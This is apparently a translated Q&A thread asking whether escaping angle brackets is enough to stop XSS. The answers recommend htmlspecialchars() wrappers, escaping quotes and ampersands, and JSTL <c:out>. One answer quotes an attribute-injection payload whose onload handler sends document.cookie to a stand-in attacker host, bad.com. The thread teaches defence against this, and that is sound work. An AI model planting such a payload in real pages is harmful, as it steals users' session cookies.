15

我想知道这两个标记是否足以防止 XSS 注入<>

如果不是,为什么?最好的解决方案是什么?

4

2 回答 2

19

这在很大程度上取决于上下文。

看看这个例子,来自一个典型的论坛网站......

您可以热链接您的头像图像。输入完整的 URL。

恶意用户在输入字段中输入

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

那里没有小于和大于的编码,但仍然存在很大的安全漏洞。

使用htmlspecialchars(),我发现制作(或使用)它的包装函数是一个好主意,它可以转换为字符串,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用正确的字符集您的应用程序. Kohana 有一个很好的例子

于 2010-01-22T00:09:42.923 回答
6

应该考虑双引号"、单引号'和 & 符号&。如果您在显示/生成输出期间执行所有这些操作,那么是的,这就足够了。

您应该只确保任何用户控制的输入执行此操作,例如请求参数、请求 URL、请求标头和存储在数据存储中的用户控制输入。

在 PHP 中,您可以使用 JSP 做到这一点,htmlspecialchars()而在 JSP 中,您可以使用 JSTL 做到这一点<c:out>

于 2010-01-22T00:11:58.540 回答